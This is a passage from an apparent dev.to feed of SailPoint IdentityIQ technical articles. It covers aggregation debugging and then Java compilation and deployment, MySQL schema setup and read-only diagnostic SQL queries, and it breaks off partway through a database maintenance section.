&lt;td&gt;Sends an out-of-band command (&lt;code&gt;terminate&lt;/code&gt;, &lt;code&gt;reanimate&lt;/code&gt;, &lt;code&gt;stack&lt;/code&gt;, or connector-specific) to a running or crashed partitioned task&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;connectorDebug &amp;lt;applicationName&amp;gt; test&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Runs the connector's connection test in isolation, without a full aggregation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;connectorDebug &amp;lt;applicationName&amp;gt; iterate&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Walks the account/group iterator the same way aggregation does, surfacing malformed-record errors&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;tasks&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Lists Name, State, Next Execution, and Cron String for every scheduled task&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Enabling Debug Logging for a Specific Aggregation
&lt;/h2&gt;

&lt;p&gt;Rather than raising the global log level (which floods the log with unrelated noise), scope debug logging to the aggregation executor class in &lt;code&gt;log4j2.properties&lt;/code&gt; under &lt;code&gt;WEB-INF/classes/&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight properties"&gt;&lt;code&gt;&lt;span class="py"&gt;logger.aggregation.name&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;sailpoint.api.Aggregator&lt;/span&gt;
&lt;span class="py"&gt;logger.aggregation.level&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;debug&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;IdentityIQ picks up &lt;code&gt;log4j2.properties&lt;/code&gt; changes automatically within about a minute — no application server restart required. Remove or comment out the logger once you've captured what you need; aggregation debug logging at scale on a large source is verbose enough to fill a log partition on a multi-hour run.&lt;/p&gt;

&lt;h2&gt;
  
  
  Preventing Repeat Failures
&lt;/h2&gt;

&lt;p&gt;Once you've fixed the immediate cause, two configuration changes reduce how often you have to do this again:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Enable Delta Aggregation&lt;/strong&gt; where the connector supports it. Scanning only changed accounts instead of the full population shrinks both the blast radius and the runtime of any future connector hiccup.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Set "Disable optimization of unchanged accounts" deliberately, not by default.&lt;/strong&gt; It forces a full re-read of every account on every run, which is useful for a one-time data integrity check after a bad aggregation, but leaving it on permanently multiplies connector load and increases the odds of hitting exactly the timeout and rate-limit failures described above.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For the underlying rule and workflow mechanics referenced throughout this guide — Correlation Rules, custom TaskExecutors, and the &lt;code&gt;SailPointContext&lt;/code&gt; API — see the &lt;a href="https://dev.to/posts/sailpoint-identityiq-beanshell-rules-workflows-tasks-developer-guide/"&gt;BeanShell Rules, Workflows, and Tasks guide&lt;/a&gt;. For automating the console commands above into a scheduled health check rather than running them manually after every failure, see &lt;a href="https://dev.to/posts/sailpoint-identityiq-java-mysql-shell-scripting-guide/"&gt;Java, MySQL, and Shell Scripting for IdentityIQ&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>sailpoint</category>
      <category>identityiq</category>
      <category>identitygovernance</category>
      <category>iam</category>
    </item>
    <item>
      <title>Java, MySQL, and Shell Scripting for SailPoint IdentityIQ</title>
      <dc:creator>IAMDevBox</dc:creator>
      <pubDate>Fri, 21 Aug 2026 02:19:40 +0000</pubDate>
      <link>https://dev.to/iamdevbox/java-mysql-and-shell-scripting-for-sailpoint-identityiq-5o1</link>
      <guid>https://dev.to/iamdevbox/java-mysql-and-shell-scripting-for-sailpoint-identityiq-5o1</guid>
      <description>&lt;p&gt;SailPoint IdentityIQ is a Java web application running on an application server against a relational database. Most IdentityIQ development happens in BeanShell rules and XML workflows — covered in the companion guide to &lt;a href="https://dev.to/posts/sailpoint-identityiq-beanshell-rules-workflows-tasks-developer-guide/"&gt;IdentityIQ BeanShell rules, workflows, and tasks&lt;/a&gt;. This article covers the layer underneath: when to write compiled Java instead of BeanShell, how the MySQL schema is actually laid out, and the shell scripting that turns manual console work into repeatable automation.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Stack, Concretely
&lt;/h2&gt;

&lt;p&gt;An IdentityIQ deployment is four layers, and knowing which one a problem lives in cuts debugging time dramatically:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Layer&lt;/th&gt;
&lt;th&gt;What lives there&lt;/th&gt;
&lt;th&gt;Where to look&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Application server&lt;/td&gt;
&lt;td&gt;Tomcat/WebSphere/WebLogic, JVM heap, threads&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;catalina.out&lt;/code&gt;, thread dumps&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;IdentityIQ WAR&lt;/td&gt;
&lt;td&gt;Your JARs, rules, config&lt;/td&gt;
&lt;td&gt;&lt;code&gt;IdentityIQ_HOME/WEB-INF/&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Database&lt;/td&gt;
&lt;td&gt;All objects, most as XML blobs&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;spt_&lt;/code&gt; tables&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Target systems&lt;/td&gt;
&lt;td&gt;AD, LDAP, HR feeds, apps&lt;/td&gt;
&lt;td&gt;Connector logs&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;IdentityIQ_HOME&lt;/code&gt; is wherever &lt;code&gt;identityiq.war&lt;/code&gt; was expanded — typically &lt;code&gt;$TOMCAT_HOME/webapps/identityiq&lt;/code&gt;. Nearly every path in this article is relative to it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Java: When to Leave BeanShell
&lt;/h2&gt;

&lt;p&gt;BeanShell is convenient for short scripts, but it is interpreted, untyped, and untestable. Move to compiled Java when any of these apply:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The logic exceeds roughly 50 lines&lt;/li&gt;
&lt;li&gt;You need unit tests&lt;/li&gt;
&lt;li&gt;It runs in a hot path — per-account during aggregation, for instance&lt;/li&gt;
&lt;li&gt;You need a library BeanShell struggles to use cleanly&lt;/li&gt;
&lt;li&gt;You are writing a custom connector or task executor&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Compiling Against the IdentityIQ API
&lt;/h3&gt;

&lt;p&gt;Your code compiles against &lt;code&gt;identityiq.jar&lt;/code&gt;, found in &lt;code&gt;IdentityIQ_HOME/WEB-INF/lib/&lt;/code&gt;. A minimal Maven setup installs it into your local repository, since SailPoint does not publish to Maven Central:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;mvn &lt;span class="nb"&gt;install&lt;/span&gt;:install-file &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-Dfile&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/opt/tomcat/webapps/identityiq/WEB-INF/lib/identityiq.jar &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-DgroupId&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;sailpoint &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-DartifactId&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;identityiq &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-Dversion&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;8.4 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-Dpackaging&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;jar
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then declare it as &lt;code&gt;provided&lt;/code&gt; — it must not be bundled into your artifact, because the container already has it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;dependency&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;groupId&amp;gt;&lt;/span&gt;sailpoint&lt;span class="nt"&gt;&amp;lt;/groupId&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;artifactId&amp;gt;&lt;/span&gt;identityiq&lt;span class="nt"&gt;&amp;lt;/artifactId&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;version&amp;gt;&lt;/span&gt;8.4&lt;span class="nt"&gt;&amp;lt;/version&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;scope&amp;gt;&lt;/span&gt;provided&lt;span class="nt"&gt;&amp;lt;/scope&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/dependency&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Marking it &lt;code&gt;compile&lt;/code&gt; instead ships a second copy of every SailPoint class inside your JAR, producing &lt;code&gt;ClassCastException&lt;/code&gt; errors where the same class loaded by two classloaders is not considered equal. This is one of the harder IdentityIQ bugs to diagnose, because the exception message names the same class on both sides.&lt;/p&gt;

&lt;h3&gt;
  
  
  Java Version Compatibility
&lt;/h3&gt;

&lt;p&gt;IdentityIQ 8.x supports Java 8 and 11, with 8.4 adding Java 17 on supported application servers. Compile targeting the version your application server actually runs:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;java &lt;span class="nt"&gt;-version&lt;/span&gt;                       &lt;span class="c"&gt;# on the app server host&lt;/span&gt;
mvn &lt;span class="nt"&gt;-DskipTests&lt;/span&gt; package             &lt;span class="c"&gt;# with maven.compiler.release matching&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A mismatch produces &lt;code&gt;UnsupportedClassVersionError&lt;/code&gt; at class load time — not at deployment — so the failure shows up the first time your code is invoked, often long after the deploy appeared to succeed.&lt;/p&gt;

&lt;h3&gt;
  
  
  Deploying a Custom JAR
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl stop tomcat
&lt;span class="nb"&gt;sudo cp &lt;/span&gt;target/iiq-custom-1.0.0.jar /opt/tomcat/webapps/identityiq/WEB-INF/lib/
&lt;span class="nb"&gt;sudo chown &lt;/span&gt;tomcat:tomcat /opt/tomcat/webapps/identityiq/WEB-INF/lib/iiq-custom-1.0.0.jar
&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl start tomcat
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A restart is mandatory — the JVM does not reload classes from &lt;code&gt;WEB-INF/lib&lt;/code&gt; at runtime. This is the key operational difference from rules, which are database objects you can update live.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Remove the old version explicitly&lt;/strong&gt; when deploying an update with a changed filename. Two JARs both containing &lt;code&gt;com.example.iiq.MyRule&lt;/code&gt; produce nondeterministic behaviour depending on classloader ordering.&lt;/p&gt;

&lt;h2&gt;
  
  
  MySQL: The IdentityIQ Schema
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Generating and Loading the Schema
&lt;/h3&gt;

&lt;p&gt;IdentityIQ generates its own DDL. From &lt;code&gt;IdentityIQ_HOME/WEB-INF/bin&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;./iiq schema
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This writes versioned scripts into &lt;code&gt;IdentityIQ_HOME/WEB-INF/database&lt;/code&gt;, named like &lt;code&gt;create_identityiq_tables-8.4.mysql&lt;/code&gt;. Load the one matching your database platform:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;mysql &lt;span class="nt"&gt;-u&lt;/span&gt; root &lt;span class="nt"&gt;-p&lt;/span&gt; identityiq &amp;lt; create_identityiq_tables-8.4.mysql
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Expect this to take anywhere from 45 minutes to 2 hours. Re-run &lt;code&gt;./iiq schema&lt;/code&gt; after adding extended attributes — they become real columns, and the generated DDL changes.&lt;/p&gt;

&lt;h3&gt;
  
  
  Connection Settings
&lt;/h3&gt;

&lt;p&gt;Connection configuration lives in &lt;code&gt;IdentityIQ_HOME/WEB-INF/classes/iiq.properties&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight properties"&gt;&lt;code&gt;&lt;span class="py"&gt;dataSource.url&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;jdbc:mysql://db.example.com:3306/identityiq?useUnicode=true&amp;amp;characterEncoding=utf8&lt;/span&gt;
&lt;span class="py"&gt;dataSource.username&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;identityiq&lt;/span&gt;
&lt;span class="py"&gt;dataSource.password&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;lt;encrypted-value&amp;gt;&lt;/span&gt;
&lt;span class="py"&gt;dataSource.maxActive&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;50&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The password must be encrypted. Generate the ciphertext with:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;./iiq encrypt changeit
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Paste the output into &lt;code&gt;iiq.properties&lt;/code&gt;. IdentityIQ will not accept a plaintext password here.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Tables You Will Actually Query
&lt;/h3&gt;

&lt;p&gt;Every table carries the &lt;code&gt;spt_&lt;/code&gt; prefix. These are the ones worth knowing:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Table&lt;/th&gt;
&lt;th&gt;Contents&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;spt_identity&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The identity cube — one row per person&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;spt_link&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Accounts on target systems, linked to identities&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;spt_application&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Connector configurations&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;spt_bundle&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Roles&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;spt_identity_entitlement&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Who currently holds which entitlement&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;spt_task_result&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Task execution history and results&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;spt_workflow_case&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;In-flight workflow state&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;spt_work_item&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Pending approvals and manual actions&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;spt_syslog_event&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;System errors and warnings&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;spt_audit_event&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Audit trail&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  Read-Only Diagnostics That Save Real Time
&lt;/h3&gt;

&lt;p&gt;These queries answer questions the UI makes tedious. All are &lt;code&gt;SELECT&lt;/code&gt; only.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Which aggregations are failing, and how recently:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
       &lt;span class="n"&gt;FROM_UNIXTIME&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;completed&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;AS&lt;/span&gt; &lt;span class="n"&gt;completed_at&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
       &lt;span class="n"&gt;completion_status&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
       &lt;span class="k"&gt;SUBSTRING&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;messages&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;   &lt;span class="k"&gt;AS&lt;/span&gt; &lt;span class="n"&gt;first_message&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt;   &lt;span class="n"&gt;spt_task_result&lt;/span&gt;
&lt;span class="k"&gt;WHERE&lt;/span&gt;  &lt;span class="n"&gt;completion_status&lt;/span&gt; &lt;span class="k"&gt;IN&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Error'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'Warning'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;ORDER&lt;/span&gt;  &lt;span class="k"&gt;BY&lt;/span&gt; &lt;span class="n"&gt;completed&lt;/span&gt; &lt;span class="k"&gt;DESC&lt;/span&gt;
&lt;span class="k"&gt;LIMIT&lt;/span&gt;  &lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Accounts that failed to correlate&lt;/strong&gt; — the usual cause of "the user exists but has no access":&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;        &lt;span class="k"&gt;AS&lt;/span&gt; &lt;span class="n"&gt;application&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
       &lt;span class="k"&gt;COUNT&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;      &lt;span class="k"&gt;AS&lt;/span&gt; &lt;span class="n"&gt;uncorrelated_accounts&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt;   &lt;span class="n"&gt;spt_link&lt;/span&gt; &lt;span class="n"&gt;l&lt;/span&gt;
&lt;span class="k"&gt;JOIN&lt;/span&gt;   &lt;span class="n"&gt;spt_application&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="k"&gt;ON&lt;/span&gt; &lt;span class="n"&gt;l&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;application&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;
&lt;span class="k"&gt;WHERE&lt;/span&gt;  &lt;span class="n"&gt;l&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;identity_id&lt;/span&gt; &lt;span class="k"&gt;IS&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;
&lt;span class="k"&gt;GROUP&lt;/span&gt;  &lt;span class="k"&gt;BY&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;
&lt;span class="k"&gt;ORDER&lt;/span&gt;  &lt;span class="k"&gt;BY&lt;/span&gt; &lt;span class="n"&gt;uncorrelated_accounts&lt;/span&gt; &lt;span class="k"&gt;DESC&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Workflows stuck in flight&lt;/strong&gt;, which accumulate invisibly and eventually degrade performance:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
       &lt;span class="n"&gt;FROM_UNIXTIME&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;created&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;AS&lt;/span&gt; &lt;span class="n"&gt;created_at&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
       &lt;span class="n"&gt;DATEDIFF&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NOW&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;FROM_UNIXTIME&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;created&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="k"&gt;AS&lt;/span&gt; &lt;span class="n"&gt;age_days&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt;   &lt;span class="n"&gt;spt_workflow_case&lt;/span&gt;
&lt;span class="k"&gt;WHERE&lt;/span&gt;  &lt;span class="n"&gt;DATEDIFF&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NOW&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;FROM_UNIXTIME&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;created&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;30&lt;/span&gt;
&lt;span class="k"&gt;ORDER&lt;/span&gt;  &lt;span class="k"&gt;BY&lt;/span&gt; &lt;span class="n"&gt;created&lt;/span&gt; &lt;span class="k"&gt;ASC&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Table sizes&lt;/strong&gt;, to find what is actually consuming disk:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="k"&gt;table_name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
       &lt;span class="n"&gt;ROUND&lt;/span&gt;&lt;span class="p"&gt;(((&lt;/span&gt;&lt;span class="n"&gt;data_length&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;index_length&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;1024&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;1024&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;AS&lt;/span&gt; &lt;span class="n"&gt;size_mb&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
       &lt;span class="n"&gt;table_rows&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt;   &lt;span class="n"&gt;information_schema&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;TABLES&lt;/span&gt;
&lt;span class="k"&gt;WHERE&lt;/span&gt;  &lt;span class="n"&gt;table_schema&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'identityiq'&lt;/span&gt;
&lt;span class="k"&gt;ORDER&lt;/span&gt;  &lt;span class="k"&gt;BY&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data_length&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;index_length&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;DESC&lt;/span&gt;
&lt;span class="k"&gt;LIMIT&lt;/span&gt;  &lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Note that IdentityIQ stores timestamps as Unix epoch &lt;strong&gt;milliseconds&lt;/strong&gt; in &lt;code&gt;BIGINT&lt;/code&gt; columns, which is why every date needs &lt;code&gt;FROM_UNIXTIME(col/1000)&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Never Write Directly to the Database
&lt;/h3&gt;

&lt;p&gt;This deserves emphasis because it is the most damaging mistake available to someone comfortable with SQL.&lt;/p&gt;

&lt;p&gt;Most IdentityIQ objects serialize their real content into an &lt;strong&gt;XML blob column&lt;/strong&gt;. The relational columns beside it are a partial, denormalized projection maintained by the application for querying. An &lt;code&gt;UPDATE&lt;/code&gt; that changes a column leaves the XML blob untouched, so the object now disagrees with itself — and the XML wins the next time the object loads.&lt;/p&gt;

&lt;p&gt;Compounding this, Hibernate caches objects in memory. A direct SQL change to a cached object is silently overwritten the next time the application saves it.&lt;/p&gt;

&lt;p&gt;Use the iiq console, the API, or a task. &lt;code&gt;SELECT&lt;/code&gt; freely; never &lt;code&gt;UPDATE&lt;/code&gt;, &lt;code&gt;INSERT&lt;/code&gt;, or &lt;code&gt;DELETE&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Keeping the Database from Growing Forever
&lt;/h3&gt;

&lt;p&gt;Four tables grow without bound if left alone: &lt;code&gt;spt_task_result&lt;/code&gt;, &lt;code&gt;spt_syslog_event&lt;/code&gt;, &lt;code&gt;spt_audit_event&lt;/code&gt;, and &lt;code&gt;spt_provisioning_transaction&lt;/code&gt;. On a busy deployment &lt;code&gt;spt_syslog_event&lt;/code&gt; can reach tens of millions of rows, at which point ordinary queries slow noticeably.&lt;/p&gt;

&lt;p&gt;Schedule the built-in &lt;strong&gt;Perform Maintenance&lt;/strong&gt; task and configure retention in System Setup. Verify it is working:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
